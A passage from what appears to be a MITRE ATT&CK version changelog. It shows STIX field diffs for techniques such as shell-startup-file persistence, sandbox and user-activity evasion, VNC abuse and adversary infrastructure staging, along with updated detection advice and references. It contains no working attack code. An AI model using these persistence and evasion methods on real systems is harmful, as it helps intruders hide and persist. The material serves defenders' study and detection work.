Adversaries may attempt to establish persistence by inserting commands into scripts automatically executed by shells. Using bash as an example, the default shell for most GNU/Linux systems, adversaries may add commands that launch malicious binaries into the /etc/profile and /etc/profile.d files.(Citation: intezer-kaiji-malware)(Citation: bencane blog bashrc) These files typically require root permissions to modify and are executed each time any shell on a system launches. For user level permissions, adversaries can insert malicious commands into ~/.bash_profile, ~/.bash_login, or ~/.profile which are sourced when a user opens a command-line interface or connects remotely.(Citation: anomali-rocke-tactics)(Citation: Linux manual bash invocation) Since the system only executes the first existing file in the listed order, adversaries have used ~/.bash_profile to ensure execution. Adversaries have also leveraged the ~/.bashrc file which is additionally executed if the connection is established remotely or an additional interactive shell is opened, such as a new tab in the command-line interface.(Citation: Tsunami)(Citation: anomali-rocke-tactics)(Citation: anomali-linux-rabbit)(Citation: Magento) Some malware targets the termination of a program to trigger execution, adversaries can use the ~/.bash_logout file to execute malicious commands at the end of a session.
For macOS, the functionality of this technique is similar but may leverage zsh, the default shell for macOS 10.15+. When the Terminal.app is opened, the application launches a zsh login shell and a zsh interactive shell. The login shell configures the system environment using /etc/profile, /etc/zshenv, /etc/zprofile, and /etc/zlogin.(Citation: ScriptingOSX zsh)(Citation: PersistentJXA_leopitt)(Citation: code_persistence_zsh)(Citation: macOS MS office sandbox escape) The login shell then configures the user environment with ~/.zprofile and ~/.zlogin. The interactive shell uses the ~/.zshrc to configure the user environment. Upon exiting, /etc/zlogout and ~/.zlogout are executed. For legacy programs, macOS executes /etc/bashrc on startup. |
| external_references[11]['source_name'] | ESF_filemonitor | macOS MS office sandbox escape |
| external_references[11]['description'] | Patrick Wardle. (2019, September 17). Writing a File Monitor with Apple's Endpoint Security Framework. Retrieved December 17, 2020. | Cedric Owens. (2021, May 22). macOS MS Office Sandbox Brain Dump. Retrieved August 20, 2021. |
| external_references[11]['url'] | https://objective-see.com/blog/blog_0x48.html | https://cedowens.medium.com/macos-ms-office-sandbox-brain-dump-4509b5fed49a |
| x_mitre_version | 2.0 | 2.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'ESF_filemonitor', 'description': "Patrick Wardle. (2019, September 17). Writing a File Monitor with Apple's Endpoint Security Framework. Retrieved December 17, 2020.", 'url': 'https://objective-see.com/blog/blog_0x48.html'} |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Internet Scan: Response Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-26 18:40:15.732000+00:00 | 2021-10-17 16:24:48.949000+00:00 |
| x_mitre_detection | Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle, such as [User Execution](https://attack.mitre.org/techniques/T1204) or [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105). | If infrastructure or patterns in malware have been previously identified, internet scanning may uncover when an adversary has staged malware to make it accessible for targeting. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle, such as [User Execution](https://attack.mitre.org/techniques/T1204) or [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105). |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Internet Scan: Response Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-26 18:41:37.444000+00:00 | 2021-10-17 16:25:37.072000+00:00 |
| x_mitre_detection | Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle, such as [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105). | If infrastructure or patterns in tooling have been previously identified, internet scanning may uncover when an adversary has staged tools to make them accessible for targeting. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle, such as [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105). |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.2
Version changed from: 1.1 → 1.2
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-14 18:09:47.427000+00:00 | 2021-10-17 14:15:31.630000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | IaaS |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may employ various user activity checks to detec | t | 1 | Adversaries may employ various user activity checks to detec |
| > | t and avoid virtualization and analysis environments. This m | > | t and avoid virtualization and analysis environments. This m | ||
| > | ay include changing behaviors based on the results of checks | > | ay include changing behaviors based on the results of checks | ||
| > | for the presence of artifacts indicative of a virtual machi | > | for the presence of artifacts indicative of a virtual machi | ||
| > | ne environment (VME) or sandbox. If the adversary detects a | > | ne environment (VME) or sandbox. If the adversary detects a | ||
| > | VME, they may alter their malware to disengage from the vict | > | VME, they may alter their malware to disengage from the vict | ||
| > | im or conceal the core functions of the implant. They may al | > | im or conceal the core functions of the implant. They may al | ||
| > | so search for VME artifacts before dropping secondary or add | > | so search for VME artifacts before dropping secondary or add | ||
| > | itional payloads. Adversaries may use the information learne | > | itional payloads. Adversaries may use the information learne | ||
| > | d from [Virtualization/Sandbox Evasion](https://attack.mitre | > | d from [Virtualization/Sandbox Evasion](https://attack.mitre | ||
| > | .org/techniques/T1497) during automated discovery to shape f | > | .org/techniques/T1497) during automated discovery to shape f | ||
| > | ollow-on behaviors. Adversaries may search for user activi | > | ollow-on behaviors.(Citation: Deloitte Environment Awareness | ||
| > | ty on the host based on variables such as the speed/frequenc | > | ) Adversaries may search for user activity on the host base | ||
| > | y of mouse movements and clicks (Citation: Sans Virtual Jan | > | d on variables such as the speed/frequency of mouse movement | ||
| > | 2016) , browser history, cache, bookmarks, or number of file | > | s and clicks (Citation: Sans Virtual Jan 2016) , browser his | ||
| > | s in common directories such as home or the desktop. Other m | > | tory, cache, bookmarks, or number of files in common directo | ||
| > | ethods may rely on specific user interaction with the system | > | ries such as home or the desktop. Other methods may rely on | ||
| > | before the malicious code is activated, such as waiting for | > | specific user interaction with the system before the malicio | ||
| > | a document to close before activating a macro (Citation: Un | > | us code is activated, such as waiting for a document to clos | ||
| > | it 42 Sofacy Nov 2018) or waiting for a user to double click | > | e before activating a macro (Citation: Unit 42 Sofacy Nov 20 | ||
| > | on an embedded image to activate.(Citation: FireEye FIN7 Ap | > | 18) or waiting for a user to double click on an embedded ima | ||
| > | ril 2017) | > | ge to activate.(Citation: FireEye FIN7 April 2017) | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-07-01 16:32:02.491000+00:00 | 2021-10-18 14:57:48.362000+00:00 |
| description | Adversaries may employ various user activity checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors. Adversaries may search for user activity on the host based on variables such as the speed/frequency of mouse movements and clicks (Citation: Sans Virtual Jan 2016) , browser history, cache, bookmarks, or number of files in common directories such as home or the desktop. Other methods may rely on specific user interaction with the system before the malicious code is activated, such as waiting for a document to close before activating a macro (Citation: Unit 42 Sofacy Nov 2018) or waiting for a user to double click on an embedded image to activate.(Citation: FireEye FIN7 April 2017) | Adversaries may employ various user activity checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness) Adversaries may search for user activity on the host based on variables such as the speed/frequency of mouse movements and clicks (Citation: Sans Virtual Jan 2016) , browser history, cache, bookmarks, or number of files in common directories such as home or the desktop. Other methods may rely on specific user interaction with the system before the malicious code is activated, such as waiting for a document to close before activating a macro (Citation: Unit 42 Sofacy Nov 2018) or waiting for a user to double click on an embedded image to activate.(Citation: FireEye FIN7 April 2017) |
| external_references[1]['source_name'] | Sans Virtual Jan 2016 | Deloitte Environment Awareness |
| external_references[1]['description'] | Keragala, D. (2016, January 16). Detecting Malware and Sandbox Evasion Techniques. Retrieved April 17, 2019. | Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved May 18, 2021. |
| external_references[1]['url'] | https://www.sans.org/reading-room/whitepapers/forensics/detecting-malware-sandbox-evasion-techniques-36667 | https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc |
| external_references[2]['source_name'] | Unit 42 Sofacy Nov 2018 | Sans Virtual Jan 2016 |
| external_references[2]['description'] | Falcone, R., Lee, B.. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New ‘Cannon’ Trojan. Retrieved April 23, 2019. | Keragala, D. (2016, January 16). Detecting Malware and Sandbox Evasion Techniques. Retrieved April 17, 2019. |
| external_references[2]['url'] | https://unit42.paloaltonetworks.com/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/ | https://www.sans.org/reading-room/whitepapers/forensics/detecting-malware-sandbox-evasion-techniques-36667 |
| external_references[3]['source_name'] | FireEye FIN7 April 2017 | Unit 42 Sofacy Nov 2018 |
| external_references[3]['description'] | Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017. | Falcone, R., Lee, B.. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New ‘Cannon’ Trojan. Retrieved April 23, 2019. |
| external_references[3]['url'] | https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html | https://unit42.paloaltonetworks.com/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/ |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'FireEye FIN7 April 2017', 'description': 'Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.', 'url': 'https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html'} |
Current version: 1.4
Version changed from: 1.3 → 1.4
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-20 16:34:09.236000+00:00 | 2021-08-26 16:42:35.936000+00:00 |
| x_mitre_version | 1.3 | 1.4 |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-23 11:31:50.407000+00:00 | 2021-10-15 14:02:07.944000+00:00 |
| x_mitre_contributors[0] | Rick Cole, FireEye | Rick Cole, Mandiant |
| x_mitre_data_sources[1] | File: File Content | File: File Metadata |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use [Valid Accounts](https://attack.mitre.or | t | 1 | Adversaries may use [Valid Accounts](https://attack.mitre.or |
| > | g/techniques/T1078) to remotely control machines using Virtu | > | g/techniques/T1078) to remotely control machines using Virtu | ||
| > | al Network Computing (VNC). The adversary may then perform a | > | al Network Computing (VNC). VNC is a platform-independent d | ||
| > | ctions as the logged-on user. VNC is a desktop sharing syst | > | esktop sharing system that uses the RFB (“remote framebuffer | ||
| > | em that allows users to remotely control another computer’s | > | ”) protocol to enable users to remotely control another comp | ||
| > | display by relaying mouse and keyboard inputs over the netwo | > | uter’s display by relaying the screen, mouse, and keyboard i | ||
| > | rk. VNC does not necessarily use standard user credentials. | > | nputs over the network.(Citation: The Remote Framebuffer Pro | ||
| > | Instead, a VNC client and server may be configured with sets | > | tocol) VNC differs from [Remote Desktop Protocol](https://a | ||
| > | of credentials that are used only for VNC connections. | > | ttack.mitre.org/techniques/T1021/001) as VNC is screen-shari | ||
| > | ng software rather than resource-sharing software. By defaul | ||||
| > | t, VNC uses the system's authentication, but it can be confi | ||||
| > | gured to use credentials specific to VNC.(Citation: MacOS VN | ||||
| > | C software for Remote Desktop)(Citation: VNC Authentication) | ||||
| > | Adversaries may abuse VNC to perform malicious actions as | ||||
| > | the logged-on user such as opening documents, downloading fi | ||||
| > | les, and running arbitrary commands. An adversary could use | ||||
| > | VNC to remotely control and monitor a system to collect data | ||||
| > | and information to pivot to other systems within the networ | ||||
| > | k. Specific VNC libraries/implementations have also been sus | ||||
| > | ceptible to brute force attacks and memory usage exploitatio | ||||
| > | n.(Citation: Hijacking VNC)(Citation: macOS root VNC login w | ||||
| > | ithout authentication)(Citation: VNC Vulnerabilities)(Citati | ||||
| > | on: Offensive Security VNC Authentication Check)(Citation: A | ||||
| > | ttacking VNC Servers PentestLab)(Citation: Havana authentica | ||||
| > | tion bug) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-23 20:41:21.147000+00:00 | 2021-10-07 22:14:25.528000+00:00 |
| description | Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely control machines using Virtual Network Computing (VNC). The adversary may then perform actions as the logged-on user. VNC is a desktop sharing system that allows users to remotely control another computer’s display by relaying mouse and keyboard inputs over the network. VNC does not necessarily use standard user credentials. Instead, a VNC client and server may be configured with sets of credentials that are used only for VNC connections. | Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely control machines using Virtual Network Computing (VNC). VNC is a platform-independent desktop sharing system that uses the RFB (“remote framebuffer”) protocol to enable users to remotely control another computer’s display by relaying the screen, mouse, and keyboard inputs over the network.(Citation: The Remote Framebuffer Protocol) VNC differs from [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) as VNC is screen-sharing software rather than resource-sharing software. By default, VNC uses the system's authentication, but it can be configured to use credentials specific to VNC.(Citation: MacOS VNC software for Remote Desktop)(Citation: VNC Authentication) Adversaries may abuse VNC to perform malicious actions as the logged-on user such as opening documents, downloading files, and running arbitrary commands. An adversary could use VNC to remotely control and monitor a system to collect data and information to pivot to other systems within the network. Specific VNC libraries/implementations have also been susceptible to brute force attacks and memory usage exploitation.(Citation: Hijacking VNC)(Citation: macOS root VNC login without authentication)(Citation: VNC Vulnerabilities)(Citation: Offensive Security VNC Authentication Check)(Citation: Attacking VNC Servers PentestLab)(Citation: Havana authentication bug) |
| x_mitre_detection | Use of VNC may be legitimate depending on the environment and how it’s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with VNC. | Use of VNC may be legitimate depending on the environment and how it’s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior using VNC.
On macOS systems log show --predicate 'process = "screensharingd" and eventMessage contains "Authentication:"' can be used to review incoming VNC connection attempts for suspicious activity.(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing)
Monitor for use of built-in debugging environment variables (such as those containing credentials or other sensitive information) as well as test/default users on VNC servers, as these can leave openings for adversaries to abuse.(Citation: Gnome Remote Desktop grd-settings)(Citation: Gnome Remote Desktop gschema) |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'The Remote Framebuffer Protocol', 'description': 'T. Richardson, J. Levine, RealVNC Ltd.. (2011, March). The Remote Framebuffer Protocol. Retrieved September 20, 2021.', 'url': 'https://datatracker.ietf.org/doc/html/rfc6143#section-7.2.2'} | |
| external_references | {'source_name': 'MacOS VNC software for Remote Desktop', 'description': 'Apple Support. (n.d.). Set up a computer running VNC software for Remote Desktop. Retrieved August 18, 2021.', 'url': 'https://support.apple.com/guide/remote-desktop/set-up-a-computer-running-vnc-software-apdbed09830/mac'} | |
| external_references | {'source_name': 'VNC Authentication', 'description': 'Tegan. (2019, August 15). Setting up System Authentication. Retrieved September 20, 2021.', 'url': 'https://help.realvnc.com/hc/en-us/articles/360002250097-Setting-up-System-Authentication'} | |
| external_references | {'source_name': 'Hijacking VNC', 'description': 'Z3RO. (2019, March 10). Day 70: Hijacking VNC (Enum, Brute, Access and Crack). Retrieved September 20, 2021.', 'url': 'https://int0x33.medium.com/day-70-hijacking-vnc-enum-brute-access-and-crack-d3d18a4601cc'} | |
| external_references | {'source_name': 'macOS root VNC login without authentication', 'description': 'Nick Miles. (2017, November 30). Detecting macOS High Sierra root account without authentication. Retrieved September 20, 2021.', 'url': 'https://www.tenable.com/blog/detecting-macos-high-sierra-root-account-without-authentication'} | |
| external_references | {'source_name': 'VNC Vulnerabilities', 'description': 'Sergiu Gatlan. (2019, November 22). Dozens of VNC Vulnerabilities Found in Linux, Windows Solutions. Retrieved September 20, 2021.', 'url': 'https://www.bleepingcomputer.com/news/security/dozens-of-vnc-vulnerabilities-found-in-linux-windows-solutions/'} | |
| external_references | {'source_name': 'Offensive Security VNC Authentication Check', 'description': 'Offensive Security. (n.d.). VNC Authentication. Retrieved October 6, 2021.', 'url': 'https://www.offensive-security.com/metasploit-unleashed/vnc-authentication/'} | |
| external_references | {'source_name': 'Attacking VNC Servers PentestLab', 'description': 'Administrator, Penetration Testing Lab. (2012, October 30). Attacking VNC Servers. Retrieved October 6, 2021.', 'url': 'https://pentestlab.blog/2012/10/30/attacking-vnc-servers/'} | |
| external_references | {'source_name': 'Havana authentication bug', 'description': 'Jay Pipes. (2013, December 23). Security Breach! Tenant A is seeing the VNC Consoles of Tenant B!. Retrieved October 6, 2021.', 'url': 'http://lists.openstack.org/pipermail/openstack/2013-December/004138.html'} | |
| external_references | {'source_name': 'Apple Unified Log Analysis Remote Login and Screen Sharing', 'description': 'Sarah Edwards. (2020, April 30). Analysis of Apple Unified Logs: Quarantine Edition [Entry 6] – Working From Home? Remote Logins. Retrieved August 19, 2021.', 'url': 'https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins'} | |
| external_references | {'source_name': 'Gnome Remote Desktop grd-settings', 'description': 'Pascal Nowack. (n.d.). Retrieved September 21, 2021.', 'url': 'https://gitlab.gnome.org/GNOME/gnome-remote-desktop/-/blob/9aa9181e/src/grd-settings.c#L207'} | |
| external_references | {'source_name': 'Gnome Remote Desktop gschema', 'description': 'Pascal Nowack. (n.d.). Retrieved September 21, 2021.', 'url': 'https://gitlab.gnome.org/GNOME/gnome-remote-desktop/-/blob/9aa9181e/src/org.gnome.desktop.remote-desktop.gschema.xml.in'} |
Current version: 2.3
Version changed from: 2.2 → 2.3
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-12 18:27:52.298000+00:00 | 2021-10-19 03:29:48.018000+00:00 |
| x_mitre_version | 2.2 | 2.3 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | Jon Sternstein, Stern Security | |
| x_mitre_data_sources | Logon Session: Logon Session Metadata |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Internet Scan: Response Metadata', 'Internet Scan: Response Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-15 02:52:41.901000+00:00 | 2021-10-17 15:36:59.315000+00:00 |
| x_mitre_detection | Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control. | Once adversaries have provisioned a VPS (ex: for use as a command and control server), internet scans may reveal servers that adversaries have acquired. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021) Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'ThreatConnect Infrastructure Dec 2020', 'description': 'ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.', 'url': 'https://threatconnect.com/blog/infrastructure-research-hunting/'} | |
| external_references | {'source_name': 'Mandiant SCANdalous Jul 2020', 'description': 'Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved October 12, 2021.', 'url': 'https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation'} | |
| external_references | {'source_name': 'Koczwara Beacon Hunting Sep 2021', 'description': 'Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.', 'url': 'https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2'} |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Internet Scan: Response Metadata', 'Internet Scan: Response Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-15 03:03:59.919000+00:00 | 2021-10-17 15:59:02.770000+00:00 |
| x_mitre_detection | Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control. | Once adversaries have provisioned software on a compromised VPS (ex: for use as a command and control server), internet scans may reveal VPSs that adversaries have compromised. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021) Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'ThreatConnect Infrastructure Dec 2020', 'description': 'ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.', 'url': 'https://threatconnect.com/blog/infrastructure-research-hunting/'} | |
| external_references | {'source_name': 'Mandiant SCANdalous Jul 2020', 'description': 'Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved October 12, 2021.', 'url': 'https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation'} | |
| external_references | {'source_name': 'Koczwara Beacon Hunting Sep 2021', 'description': 'Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.', 'url': 'https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2'} |
Current version: 1.3
Version changed from: 1.2 → 1.3
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may employ various means to detect and avoid vir | t | 1 | Adversaries may employ various means to detect and avoid vir |
| > | tualization and analysis environments. This may include chan | > | tualization and analysis environments. This may include chan | ||
| > | ging behaviors based on the results of checks for the presen | > | ging behaviors based on the results of checks for the presen | ||
| > | ce of artifacts indicative of a virtual machine environment | > | ce of artifacts indicative of a virtual machine environment | ||
| > | (VME) or sandbox. If the adversary detects a VME, they may a | > | (VME) or sandbox. If the adversary detects a VME, they may a | ||
| > | lter their malware to disengage from the victim or conceal t | > | lter their malware to disengage from the victim or conceal t | ||
| > | he core functions of the implant. They may also search for V | > | he core functions of the implant. They may also search for V | ||
| > | ME artifacts before dropping secondary or additional payload | > | ME artifacts before dropping secondary or additional payload | ||
| > | s. Adversaries may use the information learned from [Virtual | > | s. Adversaries may use the information learned from [Virtual | ||
| > | ization/Sandbox Evasion](https://attack.mitre.org/techniques | > | ization/Sandbox Evasion](https://attack.mitre.org/techniques | ||
| > | /T1497) during automated discovery to shape follow-on behavi | > | /T1497) during automated discovery to shape follow-on behavi | ||
| > | ors. Adversaries may use several methods to accomplish [Vi | > | ors.(Citation: Deloitte Environment Awareness) Adversaries | ||
| > | rtualization/Sandbox Evasion](https://attack.mitre.org/techn | > | may use several methods to accomplish [Virtualization/Sandbo | ||
| > | iques/T1497) such as checking for security monitoring tools | > | x Evasion](https://attack.mitre.org/techniques/T1497) such a | ||
| > | (e.g., Sysinternals, Wireshark, etc.) or other system artifa | > | s checking for security monitoring tools (e.g., Sysinternals | ||
| > | cts associated with analysis or virtualization. Adversaries | > | , Wireshark, etc.) or other system artifacts associated with | ||
| > | may also check for legitimate user activity to help determin | > | analysis or virtualization. Adversaries may also check for | ||
| > | e if it is in an analysis environment. Additional methods in | > | legitimate user activity to help determine if it is in an an | ||
| > | clude use of sleep timers or loops within malware code to av | > | alysis environment. Additional methods include use of sleep | ||
| > | oid operating within a temporary sandbox.(Citation: Unit 42 | > | timers or loops within malware code to avoid operating withi | ||
| > | Pirpi July 2015) | > | n a temporary sandbox.(Citation: Unit 42 Pirpi July 2015) | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-21 15:16:10.835000+00:00 | 2021-10-18 14:57:48.989000+00:00 |
| description | Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors. Adversaries may use several methods to accomplish [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) such as checking for security monitoring tools (e.g., Sysinternals, Wireshark, etc.) or other system artifacts associated with analysis or virtualization. Adversaries may also check for legitimate user activity to help determine if it is in an analysis environment. Additional methods include use of sleep timers or loops within malware code to avoid operating within a temporary sandbox.(Citation: Unit 42 Pirpi July 2015) | Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness) Adversaries may use several methods to accomplish [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) such as checking for security monitoring tools (e.g., Sysinternals, Wireshark, etc.) or other system artifacts associated with analysis or virtualization. Adversaries may also check for legitimate user activity to help determine if it is in an analysis environment. Additional methods include use of sleep timers or loops within malware code to avoid operating within a temporary sandbox.(Citation: Unit 42 Pirpi July 2015) |
| external_references[1]['source_name'] | Unit 42 Pirpi July 2015 | Deloitte Environment Awareness |
| external_references[1]['description'] | Falcone, R., Wartell, R.. (2015, July 27). UPS: Observations on CVE-2015-3113, Prior Zero-Days and the Pirpi Payload. Retrieved April 23, 2019. | Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved May 18, 2021. |
| external_references[1]['url'] | https://unit42.paloaltonetworks.com/ups-observations-on-cve-2015-3113-prior-zero-days-and-the-pirpi-payload/ | https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc |
| x_mitre_version | 1.2 | 1.3 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Unit 42 Pirpi July 2015', 'description': 'Falcone, R., Wartell, R.. (2015, July 27). UPS: Observations on CVE-2015-3113, Prior Zero-Days and the Pirpi Payload. Retrieved April 23, 2019.', 'url': 'https://unit42.paloaltonetworks.com/ups-observations-on-cve-2015-3113-prior-zero-days-and-the-pirpi-payload/'} |
Current version: 1.2
Version changed from: 1.1 → 1.2
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-08-13 20:09:39.122000+00:00 | 2021-08-16 21:03:21.051000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Jen Burns, HubSpot'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-01-11 20:31:36.404000+00:00 | 2021-09-20 16:48:28.041000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | IaaS |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Internet Scan: Response Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-15 03:04:40.184000+00:00 | 2021-10-17 16:01:48.047000+00:00 |
| x_mitre_detection | Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567). | Once adversaries leverage the abused web service as infrastructure (ex: for command and control), it may be possible to look for unique characteristics associated with adversary software, if known.(Citation: ThreatConnect Infrastructure Dec 2020) Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567). |
